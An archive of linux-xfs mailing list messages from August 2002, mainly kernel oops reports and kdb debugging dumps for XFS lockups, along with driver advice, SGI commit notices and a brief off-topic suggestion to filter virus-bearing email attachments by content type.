g7SGghtG021814 for ; Wed, 28 Aug 2002 09:42:44 -0700 Received: from ehw by balance.radtt.lanl.gov with local (Exim 3.33 #1 (Debian)) id 17k5xQ-0004Rx-00; Wed, 28 Aug 2002 10:46:16 -0600 Date: Wed, 28 Aug 2002 10:46:16 -0600 From: Eric Weigle To: linux-xfs@oss.sgi.com, "Linux kernel mailing list (lkml)" Subject: 2.4.18-xfs (xfs related?) oops report Message-ID: <20020828164616.GJ348@lanl.gov> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Eric-Conspiracy: There is no conspiracy X-Editor: Vim, http://www.vim.org X-GnuPG-fingerprint: 112E F8CA 12A9 771E DB10 6514 D4B0 D758 59EA 9C4F X-GnuPG-key: http://public.lanl.gov/ehw/ehw.gpg.key Content-Transfer-Encoding: 8bit X-archive-position: 110 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ehw@lanl.gov Precedence: bulk X-list: linux-xfs FYI- I'm running a disk server off of three 3Ware RAID cards, set up as three separate drives. Each runs XFS. Under high load, the machine hard locks and I can't do anything with it. The past time, it was nice enough to leave a pair of oopses in the log for me, attached below. I've also seen corruption in that five 200MB files I was working on have been truncated to length zero. Machine is a 2x733Mhz PIII with 768M of good ram (tested; it ran memtest86 for 24 hours with no problems). Kernel is 2.4.18 vanilla with XFS 1.1.0 patch applied in an attempt to fix the problem (lockups also seen on an earlier version). Debian linux, GCC 2.95.4. Thanks -Eric -------------------------------------------------------------------------------- ksymoops 2.4.5 on i686 2.4.18-xfs-1.1. Options used -v /usr/src/linux-2.4.18/vmlinux (specified) -k /proc/ksyms (specified) -l /proc/modules (default) -o /lib/modules/2.4.18-xfs-1.1/ (default) -m /boot/System.map-2.4.18 (specified) invalid operand: 0000 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010282 eax: c133781c ebx: c1819c80 ecx: c1819c80 edx: ee169294 esi: c1819c80 edi: 00000000 ebp: 00000200 esp: c1c25f28 ds: 0018 es: 0018 ss: 0018 Process kswapd (pid: 5, stackpage=c1c25000) Stack: cc4438c0 c1819c80 0000000a 00000200 c1819c80 000001d0 cc4438c0 c1819c80 c012dc32 c012eb18 c012dc79 00000020 000001d0 00000020 00000006 c1c24000 c1c24000 0000361a 000001d0 c028d9e8 c012dee2 00000006 00000013 00000006 Call Trace: [] [] [] [] [] [] [] [] [] Code: 0f 0b 89 d8 2b 05 6c 5b 30 c0 c1 f8 06 3b 05 60 5b 30 c0 72 >>EIP; c012e418 <__free_pages_ok+28/20c> <===== >>eax; c133781c <_end+1008b70/3054d354> >>ebx; c1819c80 <_end+14eafd4/3054d354> >>ecx; c1819c80 <_end+14eafd4/3054d354> >>edx; ee169294 <_end+2de3a5e8/3054d354> >>esi; c1819c80 <_end+14eafd4/3054d354> >>esp; c1c25f28 <_end+18f727c/3054d354> Trace; c012dc32 Trace; c012eb18 <__free_pages+1c/20> Trace; c012dc79 Trace; c012dee2 Trace; c012df3f Trace; c012dfd3 Trace; c012e02e Trace; c012e13d Trace; c01055a4 Code; c012e418 <__free_pages_ok+28/20c> 00000000 <_EIP>: Code; c012e418 <__free_pages_ok+28/20c> <===== 0: 0f 0b ud2a <===== Code; c012e41a <__free_pages_ok+2a/20c> 2: 89 d8 mov %ebx,%eax Code; c012e41c <__free_pages_ok+2c/20c> 4: 2b 05 6c 5b 30 c0 sub 0xc0305b6c,%eax Code; c012e422 <__free_pages_ok+32/20c> a: c1 f8 06 sar $0x6,%eax Code; c012e425 <__free_pages_ok+35/20c> d: 3b 05 60 5b 30 c0 cmp 0xc0305b60,%eax Code; c012e42b <__free_pages_ok+3b/20c> 13: 72 00 jb 15 <_EIP+0x15> c012e42d <__free_pages_ok+3d/20c> invalid operand: 0000 CPU: 1 EIP: 0010:[] Not tainted EFLAGS: 00010202 eax: 00000005 ebx: c1818c00 ecx: c1818c00 edx: 00000000 esi: 00000000 edi: 00000000 ebp: ee8cca94 esp: e9715e3c ds: 0018 es: 0018 ss: 0018 Process rpc.nfsd (pid: 297, stackpage=e9715000) Stack: c1818c00 00000000 00000000 ee8cca94 ee8cca94 c012630a c1818c00 c1818c00 c01261c3 c012eb18 c0126354 c1818c00 c1818c00 c0126466 c1818c00 00000000 e9715eac 00000000 ee8cca94 00000000 00000001 e9715eac 00000000 c012651e Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 0f 0b 8b 43 18 a8 40 74 02 0f 0b 8b 43 18 a8 80 74 02 0f 0b >>EIP; c012e440 <__free_pages_ok+50/20c> <===== >>ebx; c1818c00 <_end+14e9f54/3054d354> >>ecx; c1818c00 <_end+14e9f54/3054d354> >>ebp; ee8cca94 <_end+2e59dde8/3054d354> >>esp; e9715e3c <_end+293e7190/3054d354> Trace; c012630a Trace; c01261c3 Trace; c012eb18 <__free_pages+1c/20> Trace; c0126354 Trace; c0126466 Trace; c012651e Trace; c01b9642 Trace; c01bc41b Trace; c0199faa Trace; c01b1663 Trace; c01c42d4 Trace; c01c33b7 Trace; c0148f23 Trace; c0147256 Trace; c013ff9d Trace; c014007d Trace; c0106e5b Code; c012e440 <__free_pages_ok+50/20c> 00000000 <_EIP>: Code; c012e440 <__free_pages_ok+50/20c> <===== 0: 0f 0b ud2a <===== Code; c012e442 <__free_pages_ok+52/20c> 2: 8b 43 18 mov 0x18(%ebx),%eax Code; c012e445 <__free_pages_ok+55/20c> 5: a8 40 test $0x40,%al Code; c012e447 <__free_pages_ok+57/20c> 7: 74 02 je b <_EIP+0xb> c012e44b <__free_pages_ok+5b/20c> Code; c012e449 <__free_pages_ok+59/20c> 9: 0f 0b ud2a Code; c012e44b <__free_pages_ok+5b/20c> b: 8b 43 18 mov 0x18(%ebx),%eax Code; c012e44e <__free_pages_ok+5e/20c> e: a8 80 test $0x80,%al Code; c012e450 <__free_pages_ok+60/20c> 10: 74 02 je 14 <_EIP+0x14> c012e454 <__free_pages_ok+64/20c> Code; c012e452 <__free_pages_ok+62/20c> 12: 0f 0b ud2a -- ------------------------------------------------ Eric H. Weigle -- http://public.lanl.gov/ehw/ ------------------------------------------------ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9bP5Y1LDXWFnqnE8RAv2eAKDvdMyhqnRY5rYtDat+0bcQMpeO5ACeM7xI OFVvixghxEhjQVr5v7m9HWE= =87lA -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 09:57:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 09:57:26 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SGvNtG022483 for ; Wed, 28 Aug 2002 09:57:23 -0700 Received: from relative.emergence.com ([209.5.172.43] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17k6Bl-00019r-00; Wed, 28 Aug 2002 11:01:05 -0600 Message-ID: <3D6D01D7.5090702@emergence.com> Date: Wed, 28 Aug 2002 11:01:11 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Eric Weigle CC: linux-xfs@oss.sgi.com Subject: Re: 2.4.18-xfs (xfs related?) oops report References: <20020828164616.GJ348@lanl.gov> X-Enigmail-Version: 0.65.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 111 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs Are you using the latest bios and drivers from 3Ware? IE. not the drivers that are in the kernel unless they are the same revision. Also are you using the native 3ware raid or software raid in JBOD mode? I believe they are having a new software release soon too. This is the June 18th drivers and firmware: ; -Mike Eric Weigle wrote: > FYI- > > I'm running a disk server off of three 3Ware RAID cards, set up as > three separate drives. Each runs XFS. Under high load, the machine > hard locks and I can't do anything with it. The past time, it was > nice enough to leave a pair of oopses in the log for me, attached > below. > > Thanks > -Eric From owner-linux-xfs@oss.sgi.com Wed Aug 28 10:07:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 10:07:54 -0700 (PDT) Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SH7qtG023088 for ; Wed, 28 Aug 2002 10:07:52 -0700 Received: from attbi.com ([12.253.73.46]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020828171120.LABB1186.rwcrmhc52.attbi.com@attbi.com> for ; Wed, 28 Aug 2002 17:11:20 +0000 Message-ID: <3D6D04B1.5050508@attbi.com> Date: Wed, 28 Aug 2002 11:13:21 -0600 From: "D. Stimits" Reply-To: stimits@attbi.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020528 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: linux-xfs@oss.sgi.com Subject: [OT: virus] Re: SELECTED References: <200208281053.MAA18676@ady.hdsnet.hu> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 112 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stimits@attbi.com Precedence: bulk X-list: linux-xfs Yet another shining example of a filter line that could be added. This list would never receive a valid message with "Content-Type: audio/x-midi". Filtering this and type application/octet-stream would decimate many of the windows virii. I am curious what kind of current ability the list has for rejecting based on content type or header information? kosiki wrote: > --Q8714e2L66enF661u68kOrxZ6 > Content-Type: text/html; > Content-Transfer-Encoding: quoted-printable > > > > > > --Q8714e2L66enF661u68kOrxZ6 > Content-Type: audio/x-midi; > name=Clears.pif > Content-Transfer-Encoding: base64 > Content-ID: From owner-linux-xfs@oss.sgi.com Wed Aug 28 10:52:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 10:52:46 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SHqetG024580 for ; Wed, 28 Aug 2002 10:52:40 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA35503 for ; Wed, 28 Aug 2002 12:56:08 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA57978 for ; Wed, 28 Aug 2002 12:56:08 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SHs8x11623; Wed, 28 Aug 2002 12:54:08 -0500 Message-Id: <200208281754.g7SHs8x11623@stout.americas.sgi.com> Date: Wed, 28 Aug 2002 12:54:08 -0500 Subject: TAKE - Reduce xfs_ioctl stack usage X-archive-position: 113 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs xfs_ioctl is a swiss-army knife function and as a result, it was the #1 stack hog in xfs. By moving the stack-hungry ioctl cases into their own functions, stack usage for this function is -greatly- reduced. (from around 2000 bytes to around 200 bytes). Of course the new functions have stack usage of their own, but every ioctl call should now use less stack, and in some cases -much- less. Date: Wed Aug 28 10:52:35 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126253a linux/fs/xfs/linux/xfs_ioctl.c - 1.74 - GREATLY reduce stack usage by moving the stack-hungry cases into their own functions. From owner-linux-xfs@oss.sgi.com Wed Aug 28 12:17:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:17:48 -0700 (PDT) Received: from nasexs1.meridian-data.com ([208.0.185.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJHgtG027243 for ; Wed, 28 Aug 2002 12:17:42 -0700 Received: by nasexs1.meridian-data.com with Internet Mail Service (5.5.2653.19) id <3M5QD2M6>; Wed, 28 Aug 2002 12:20:51 -0700 Message-ID: <2D0AFEFEE711D611923E009027D39F2B02F1E2@nasexs1.meridian-data.com> From: Dale Stephenson To: "'linux-xfs@oss.sgi.com'" Subject: xfs_freeze stuck in pagebuf_delwri_flush() Date: Wed, 28 Aug 2002 12:20:51 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 114 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dale.stephenson@quantum.com Precedence: bulk X-list: linux-xfs I've been looking at a box that is endlessly looping inside pagebuf_delwri_flush(). It was running the August 23rd CVS code and testing dbench with snapshots. It had XFS on a source volume, four snapshots of the source volume also mounted, and dbench running on the source volume. A program was trying to fire a fifth snapshot, but didn't get any further than the xfs_freeze -f command. The first xfs_freeze -f command did not complete in a timely fashion, so an alarm signal went off, a xfs_freeze -u command was completed, and xfs_freeze -f was tried again. The second xfs_freeze is looping inside of pagebuf_delwri_flush(), while the first is inside get_active_stripe() [inside drivers/md/raid.5], descending from pagebuf_delwri_flush(). I'm not sure how the first freeze got stuck, but the second really mystifies me. the loop is list_for_each_safe(), but it alternates between two and only two pagebuf structures. Dumping the location of pb_daemon->pagebuf_delwri_l looks to me like a list head without any other nodes attached to it. I'm not sure how the process could get in this state. The pagebuf daemon isn't doing anything, and the two dbench processes are both stopped by xfs_check_frozen(), as I would expect. There's 34 processes runnable, but as far as I know none of them are getting time. Below I've included the following things from a kdb session: 1) A back trace from the looping xfs_freeze 2) disassembly from the beginning of pagebuf_delwri_flush 3) memory dump from what I assume is &pb_daemon->pagebuf_delwri_l, address hardcoded into the assembly 4) register dumps after a breakpoint is hit at the beginning of the list_for_each_safe loop. On repeated stops, I only saw those two values of ebx. 5) dumps of page_buf_t for the two addresses I found in ebx 6) a backtrace from the first (non-looping) xfs_freeze I've still got access to the box, so if there is any other information I can get off it, please let me know. Dale Stephenson steph@snapserver.com kdb> bt EBP EIP Function (args) 0xda5a5bfc 0xc01f6801 pagebuf_delwri_flush+0x41 (0xcf71735c, 0x1, 0x0) kernel .text 0xc0100000 0xc01f67c0 0xc01f6944 0xda5a5c10 0xc01fe554 XFS_bflush+0x10 (0xcf71735c, 0xee91e000, 0x9, 0x0, 0xda5a\4000) kernel .text 0xc0100000 0xc01fe544 0xc01fe558 0xda5a5c38 0xc01c3aed xfs_fs_freeze+0x75 (0xee91e000, 0xee760380, 0xee7603a0, 0\xbffffcac, 0xee8b08dc) kernel .text 0xc0100000 0xc01c3a78 0xc01c3b2c 0xda5a5f4c 0xc01fa080 xfs_ioctl+0x1414 (0xecafae40, 0x400f1000, 0x0, 0x400f1480\, 0xef13b7f4) kernel .text 0xc0100000 0xc01f8c6c 0xc01fa1a0 0xda5a5ec4 0xc01239e8 do_no_page+0x48 (0xef13b7f4, 0xecafae40, 0x400f1480, 0x0,\ 0xd4ef83c4) kernel .text 0xc0100000 0xc01239a0 0xc0123b10 0xda5a5ef0 0xc0123b6a handle_mm_fault+0x5a (0xef13b7f4, 0xecafae40, 0x400f1480,\ 0x0, 0xda5a4000) kernel .text 0xc0100000 0xc0123b10 0xc0123bd0 0xda5a5fb4 0xc0112eac do_page_fault+0x1a4 (0xee91e000, 0xef13b810, 0x400f1480, \0xecafae40) kernel .text 0xc0100000 0xc0112d08 0xc01131b6 0xda5a5f34 0xc01ff7ba linvfs_statfs+0x22 (0x30002, 0xda5a5f7c, 0xfffffff7, 0xda\5a5f7c) kernel .text 0xc0100000 0xc01ff798 0xc01ff7c4 0xda5a5f54 0xc0131600 vfs_statfs+0x40 (0xee8b08f4, 0xee7603a0, 0xec6d6484, 0xc0\045877, 0xbffffcac) kernel .text 0xc0100000 0xc01315c0 0xc0131610 0xda5a5f70 0xc01f7e94 linvfs_ioctl+0x48 (0xee7603a0, 0xec6d6484, 0xc0045877, 0x\bffffcac, 0xda5a4000) kernel .text 0xc0100000 0xc01f7e4c 0xc01f7eb4 0xda5a5fbc 0xc013fe2a sys_ioctl+0x26a (0xbffffd28, 0xc0108c6b, 0x5, 0xc0045877,\ 0xbffffcac) kdb> id pagebuf_delwri_flush 0xc01f67c0 pagebuf_delwri_flush: push %ebp 0xc01f67c1 pagebuf_delwri_flush+0x1: mov %esp,%ebp 0xc01f67c3 pagebuf_delwri_flush+0x3: sub $0x1c,%esp 0xc01f67c6 pagebuf_delwri_flush+0x6: push %edi 0xc01f67c7 pagebuf_delwri_flush+0x7: push %esi 0xc01f67c8 pagebuf_delwri_flush+0x8: push %ebx 0xc01f67c9 pagebuf_delwri_flush+0x9: movl $0x0,0xfffffff0(%ebp) 0xc01f67d0 pagebuf_delwri_flush+0x10: lea 0xfffffff8(%ebp),%ecx 0xc01f67d3 pagebuf_delwri_flush+0x13: mov %ecx,0xfffffff8(%ebp) 0xc01f67d6 pagebuf_delwri_flush+0x16: mov %ecx,%esi 0xc01f67d8 pagebuf_delwri_flush+0x18: mov %esi,0xffffffec(%ebp) 0xc01f67db pagebuf_delwri_flush+0x1b: mov %esi,0x4(%esi) 0xc01f67de pagebuf_delwri_flush+0x1e: mov 0xc03a0ca8,%edx 0xc01f67e4 pagebuf_delwri_flush+0x24: lea 0xc(%edx),%eax 0xc01f67e7 pagebuf_delwri_flush+0x27: mov 0xc(%ebp),%esi 0xc01f67ea pagebuf_delwri_flush+0x2a: mov %esi,0xffffffe8(%ebp) kdb> 0xc01f67ed pagebuf_delwri_flush+0x2d: mov 0xc(%edx),%ebx 0xc01f67f0 pagebuf_delwri_flush+0x30: andl $0x1,0xffffffe8(%ebp) 0xc01f67f4 pagebuf_delwri_flush+0x34: mov (%ebx),%ecx 0xc01f67f6 pagebuf_delwri_flush+0x36: mov %ecx,0xfffffff4(%ebp) 0xc01f67f9 pagebuf_delwri_flush+0x39: cmp %eax,%ebx 0xc01f67fb pagebuf_delwri_flush+0x3b: je 0xc01f68c8 pagebuf_delwri_flush\+0x108 0xc01f6801 pagebuf_delwri_flush+0x41: mov %ebx,0xffffffe4(%ebp) 0xc01f6804 pagebuf_delwri_flush+0x44: mov 0x8(%ebx),%eax 0xc01f6807 pagebuf_delwri_flush+0x47: test %eax,%eax kdb> md 0xc03a0ca8 0xc03a0ca8 c184f424 c03a0cac c03a0cac 00000000 0xc03a0cb8 effabfe4 effabfe4 00000000 c03a0cc4 0xc03a0cc8 c03a0cc4 00000000 00000000 00000000 0xc03a0cd8 00000000 00000000 e856f0f0 e89f7280 Instruction(i) breakpoint #0 at 0xc01f6801 (adjusted) 0xc01f6801 pagebuf_delwri_flush+0x41: int3 Entering kdb (current=0xda5a4000, pid 23188) due to Breakpoint @ 0xc01f6801 kdb> rd eax = 0xc184f430 ebx = 0xc222414c ecx = 0xcf71735c edx = 0xc184f424 Entering kdb (current=0xda5a4000, pid 23188) due to Breakpoint @ 0xc01f6801 kdb> rd eax = 0xc184f430 ebx = 0xeb50bbf4 ecx = 0xcf71735c edx = 0xc184f424 kdb> pb 0xeb50bbf4 page_buf_t at 0xeb50bbf4 pb_flags ASYNC STALE FS_MANAGED RELEASE LOCK ALLOCATE NEXT_KEY ALL_PAGES_MAPPED ADDR_ALLOCATED MEM_ALLOCATED FORCEIO pb_target 0x00000001 pb_hold 0 pb_next 0xc222414c pb_prev 0xc222414c pb_hash_index 235 pb_hash_next 0xc01fe554 pb_hash_prev 0xcf71735c pb_file_offset 0xee91e000cf71735c pb_buffer_length 0x9 pb_addr 0xeb50a000 pb_bn 0xc01c3aedeb50bc38 pb_count_desired 0x0 pb_io_remaining 0 pb_error 3 pb_page_count 0 pb_offset 0xbcbc pb_pages 0xc019fbd7 pb_iodonesema (-1073742676,-292878116) pb_sema (-347030016,0) pincount (0) kdb> pb 0xc222414c page_buf_t at 0xc222414c pb_flags WRITE MAPPABLE LOCKABLE ALL_PAGES_MAPPED MEM_ALLOCATED pb_target 0xcf71735c pb_hold 2 pb_next 0xeb50bbf4 pb_prev 0xeb50bbf4 pb_hash_index 8 pb_hash_next 0xc2224ab8 pb_hash_prev 0xe89e60f0 pb_file_offset 0x4b010f0000 pb_buffer_length 0x2000 pb_addr 0x00000000 pb_bn 0x25808780 pb_count_desired 0x2000 pb_io_remaining 2 pb_error 0 pb_page_count 2 pb_offset 0x0 pb_pages 0xc22241d0 pb_iodonesema (0,0) pb_sema (0,0) pincount (0) pb_fspriv 0xd9fdb24c pb_fspriv2 0x00000000 kdb> btp 22750 EBP EIP Function (args) 0xeb50b9b0 0xc0113a93 schedule+0x373 (0xcf904000, 0x0, 0xeb282bbc, 0x25810200, \0xed16d800) kernel .text 0xc0100000 0xc0113720 0xc0113ab8 0xeb50ba00 0xc024b185 get_active_stripe+0xa1 (0xcf904000, 0x3c02700, 0x200, 0x0\, 0xeb282bbc) kernel .text 0xc0100000 0xc024b0e4 0xc024b594 0xeb50ba2c 0xc024d250 raid5_make_request+0x54 (0xef13f79c, 0x1, 0xeb282bbc, 0x9\00) kernel .text 0xc0100000 0xc024d1fc 0xc024d300 0xeb50ba44 0xc0250983 md_make_request+0x3b (0xc03abcf8, 0x1, 0xeb282bbc, 0xc653\0f3c, 0x0) kernel .text 0xc0100000 0xc0250948 0xc02509b0 0xeb50ba68 0xc022ca59 generic_make_request+0x9d (0x1, 0xeb282bbc, 0x0, 0xc11645\08, 0xc222414c) kernel .text 0xc0100000 0xc022c9bc 0xc022cae8 0xeb50bae0 0xc01f5c8a _pagebuf_page_io+0x39e (0xc1164508, 0xc222414c, 0x2580878\8, 0x0, 0x3a00) kernel .text 0xc0100000 0xc01f58ec 0xc01f5ce0 0xeb50bb34 0xc01f5dfc _page_buf_page_apply+0x11c (0xc222414c, 0x10f0000, 0x4b, \0xc1164508, 0x0) kernel .text 0xc0100000 0xc01f5ce0 0xc01f5e0c 0xeb50bb80 0xc01f630c _pagebuf_segment_apply+0xc0 (0xc222414c, 0xc222414c, 0xc2\224214, 0x0, 0x1) kernel .text 0xc0100000 0xc01f624c 0xc01f635c 0xeb50bbbc 0xc01f5eef pagebuf_iorequest+0xe3 (0xc222414c) kernel .text 0xc0100000 0xc01f5e0c 0xc01f5f48 0xeb50bbc8 0xc01fe4cc xfs_bdstrat_cb+0x18 (0xc222414c, 0xeeb8365c, 0xeb50a000, \0xee91e000, 0xc222414c) kernel .text 0xc0100000 0xc01fe4b4 0xc01fe4f0 0xeb50bbfc 0xc01f68a4 pagebuf_delwri_flush+0xe4 (0xcf71735c, 0x1, 0x0) more> kernel .text 0xc0100000 0xc01f67c0 0xc01f6944 0xeb50bc10 0xc01fe554 XFS_bflush+0x10 (0xcf71735c, 0xee91e000, 0x9, 0x0, 0xeb50\a000) kernel .text 0xc0100000 0xc01fe544 0xc01fe558 0xeb50bc38 0xc01c3aed xfs_fs_freeze+0x75 (0xee91e000, 0xee760380, 0xee7603a0, 0\xbffffcac, 0xee8b08dc) kernel .text 0xc0100000 0xc01c3a78 0xc01c3b2c 0xeb50bf4c 0xc01fa080 xfs_ioctl+0x1414 (0xecafad10, 0x400f1000, 0x0, 0x400f1480\, 0xef13bd94) kernel .text 0xc0100000 0xc01f8c6c 0xc01fa1a0 0xeb50bec4 0xc01239e8 do_no_page+0x48 (0xef13bd94, 0xecafad10, 0x400f1480, 0x0, 0xe21fd3c4) kernel .text 0xc0100000 0xc01239a0 0xc0123b10 0xeb50bef0 0xc0123b6a handle_mm_fault+0x5a (0xef13bd94, 0xecafad10, 0x400f1480, 0x0, 0xeb50a000) kernel .text 0xc0100000 0xc0123b10 0xc0123bd0 0xeb50bfb4 0xc0112eac do_page_fault+0x1a4 (0xee91e000, 0xef13bdb0, 0x400f1480, \0xecafad10) kernel .text 0xc0100000 0xc0112d08 0xc01131b6 0xeb50bf34 0xc01ff7ba linvfs_statfs+0x22 (0x30002, 0xeb50bf7c, 0xfffffff7, 0xeb\50bf7c) kernel .text 0xc0100000 0xc01ff798 0xc01ff7c4 0xeb50bf54 0xc0131600 vfs_statfs+0x40 (0xee8b08f4, 0xee7603a0, 0xe5d50594, 0xc0\045877, 0xbffffcac) kernel .text 0xc0100000 0xc01315c0 0xc0131610 0xeb50bf70 0xc01f7e94 linvfs_ioctl+0x48 (0xee7603a0, 0xe5d50594, 0xc0045877, 0x\bffffcac, 0xeb50a000) kernel .text 0xc0100000 0xc01f7e4c 0xc01f7eb4 0xeb50bfbc 0xc013fe2a sys_ioctl+0x26a (0xbffffd28, 0xc0108c6b, 0x9, 0xc0045877, 0xbffffcac) kernel .text 0xc0100000 0xc013fbc0 0xc013fe50 0xc0108d5c error_code+0x34 kernel .text 0xc0100000 0xc0108d28 0xc0108d64 more> Interrupt registers: eax = 0x00000001 ebx = 0xbffffd28 ecx = 0xc0108c6b edx = 0x00000009 esi = 0xc0045877 edi = 0xbffffcac esp = 0x00000023 eip = 0x0000002b ebp = 0xbffffd94 xss = 0x00000246 xcs = 0x00000036 eflags = 0x400f1494 xds = 0xbffffd28 xes = 0x00000036 origeax = 0x400e002b ®s = 0xeb50bfbc Interrupt from user space, end of kernel trace From owner-linux-xfs@oss.sgi.com Wed Aug 28 12:37:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:37:09 -0700 (PDT) Received: from balance.radtt.lanl.gov (splat.lanl.gov [128.165.17.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJb3tG027792 for ; Wed, 28 Aug 2002 12:37:04 -0700 Received: from ehw by balance.radtt.lanl.gov with local (Exim 3.33 #1 (Debian)) id 17k8g5-0004de-00; Wed, 28 Aug 2002 13:40:33 -0600 Date: Wed, 28 Aug 2002 13:40:33 -0600 From: Eric Weigle To: Michael Best Cc: linux-xfs@oss.sgi.com Subject: Re: 2.4.18-xfs (xfs related?) oops report Message-ID: <20020828194033.GK348@lanl.gov> References: <20020828164616.GJ348@lanl.gov> <3D6D01D7.5090702@emergence.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D6D01D7.5090702@emergence.com> User-Agent: Mutt/1.3.28i X-Eric-Conspiracy: There is no conspiracy X-Editor: Vim, http://www.vim.org X-GnuPG-fingerprint: 112E F8CA 12A9 771E DB10 6514 D4B0 D758 59EA 9C4F X-GnuPG-key: http://public.lanl.gov/ehw/ehw.gpg.key Content-Transfer-Encoding: 8bit X-archive-position: 115 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ehw@lanl.gov Precedence: bulk X-list: linux-xfs > Are you using the latest bios and drivers from 3Ware? IE. not the > drivers that are in the kernel unless they are the same revision. No, I didn't even realize that 3ware did the driver. I'll try their newest stuff out and see if the problem goes away. > Also are you using the native 3ware raid or software raid in JBOD mode? Native hardware RAID. Thanks for the pointers. -Eric -- ------------------------------------------------ Eric H. Weigle -- http://public.lanl.gov/ehw/ ------------------------------------------------ From owner-linux-xfs@oss.sgi.com Wed Aug 28 12:43:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:43:02 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJgxtG028333 for ; Wed, 28 Aug 2002 12:42:59 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA38378 for ; Wed, 28 Aug 2002 14:46:27 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA34791 for ; Wed, 28 Aug 2002 14:46:27 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SJkFM18684; Wed, 28 Aug 2002 14:46:15 -0500 Message-Id: <200208281946.g7SJkFM18684@jen.americas.sgi.com> Date: Wed, 28 Aug 2002 14:46:15 -0500 Subject: TAKE - fix a use after free in bulkstat To: linux-xfs@oss.sgi.com X-archive-position: 116 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs This showed up running tests with kmem debug turned on, it probably would not hit folks in normal circumstances Date: Wed Aug 28 12:44:54 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126281a linux/fs/xfs/xfs_itable.c - 1.109 From 